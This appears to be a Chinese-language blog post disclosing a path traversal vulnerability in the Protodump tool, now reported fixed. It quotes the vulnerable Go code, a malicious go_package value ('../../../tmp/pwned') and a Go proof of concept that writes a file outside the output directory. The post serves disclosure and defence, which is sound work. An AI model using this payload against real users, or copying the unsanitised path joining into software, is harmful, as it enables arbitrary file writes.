Protodump路径遍历漏洞分析与修复

本文详细分析了Protodump工具中的路径遍历漏洞,该漏洞允许攻击者通过恶意构造的protobuf描述符在文件系统任意位置写入文件,包含完整的漏洞原理、攻击向量和修复方案。

Protodump路径遍历漏洞分析报告

漏洞概述

Protodump存在路径遍历漏洞,允许攻击者通过恶意构造的protobuf描述符在文件系统任意位置写入文件,超出预期的输出目录。该漏洞源于从被分析二进制文件中提取的protobuf描述符中,对go_package选项的验证不足。

漏洞代码分析

文件名提取函数

pkg/protodump/protodump.go中的Filename()函数从protobuf描述符中提取go_package选项时未进行净化处理:

1
2
3
4
5
6
7
8
9
func (pd *ProtoDefinition) Filename() string {
    goPackage := pd.pb.GetOptions().GetGoPackage()
    index := strings.Index(goPackage, ";")
    if index == -1 {
        return pd.descriptor.Path()
    }
    // BUG: 未对goPackage路径进行净化
    return path.Join(goPackage[:index], path.Base(pd.descriptor.Path()))
}

goPackage值直接来自被分析的protobuf描述符,可能包含路径遍历序列,如../../../

主函数中的漏洞利用点

主函数使用这个未净化的文件名来构建输出路径:

1
2
3
4
5
6
7
8
filename := definition.Filename()
if strings.HasSuffix(filename, ".proto") {
    dir := path.Join(*output, path.Dir(filename))
    final := path.Join(dir, path.Base(filename))
    os.MkdirAll(dir, 0700)
    os.WriteFile(final, []byte(definition.String()), 0700)
    fmt.Printf("Wrote %s\n", final)
}

攻击向量

攻击者创建一个包含恶意go_package选项的protobuf描述符的二进制文件:

1
2
3
4
5
6
7
8
9
syntax = "proto3";
package exploit;

// 恶意路径遍历
option go_package = "../../../tmp/pwned;exploit";

message MaliciousMessage {
  string data = 1;
}

当用户在此二进制文件上运行protodump时,工具会在预期的输出目录之外写入提取的proto文件(覆盖目标位置中任何同名的现有文件)。

漏洞验证PoC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package main

import (
    "fmt"
    "os"
    "path"
    "path/filepath"
    "strings"
)

func main() {
    // 获取输出目录的绝对路径
    output, _ := filepath.Abs("./safe_output")

    // 来自恶意proto的攻击者控制值
    maliciousGoPackage := "../../../tmp/pwned;exploit"
    protoName := "evil.proto"

    fmt.Println("=== Protodump路径遍历漏洞PoC ===")
    fmt.Println()

    // 漏洞代码:复制protodump的逻辑
    index := strings.Index(maliciousGoPackage, ";")
    var filename string
    if index == -1 {
        filename = protoName
    } else {
        filename = path.Join(maliciousGoPackage[:index], protoName)
    }

    dir := path.Join(output, path.Dir(filename))
    final := path.Join(dir, path.Base(filename))
    finalAbs, _ := filepath.Abs(final)

    fmt.Println("配置:")
    fmt.Printf("  预期输出: %s\n", output)
    fmt.Printf("  恶意输入: %s\n", maliciousGoPackage)
    fmt.Println()

    fmt.Println("路径计算:")
    fmt.Printf("  文件名: %s\n", filename)
    fmt.Printf("  最终路径: %s\n", finalAbs)
    fmt.Println()

    // 创建文件
    os.MkdirAll(dir, 0755)
    content := "syntax = \"proto3\";\n\npackage exploit;\n\nmessage Pwned { string data = 1; }\n"
    os.WriteFile(final, []byte(content), 0644)

    fmt.Println("结果:")
    fmt.Printf("  预期: %s/evil.proto\n", output)
    fmt.Printf("  实际: %s\n", finalAbs)
    fmt.Println()

    if !strings.HasPrefix(finalAbs, output) {
        fmt.Println("漏洞确认:文件在预期目录之外被写入")
    }
}

影响

  • 在用户机器上实现任意文件写入

受影响版本

  • 最新版本(commit 17ad807,验证于2025年10月)
  • 仓库:https://github.com/arkadiyt/protodump
  • 安装命令:go install github.com/arkadiyt/protodump/cmd/protodump@latest

修复状态

该漏洞已通过 https://github.com/arkadiyt/protodump/pull/16 修复,报告状态已标记为"已解决"。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计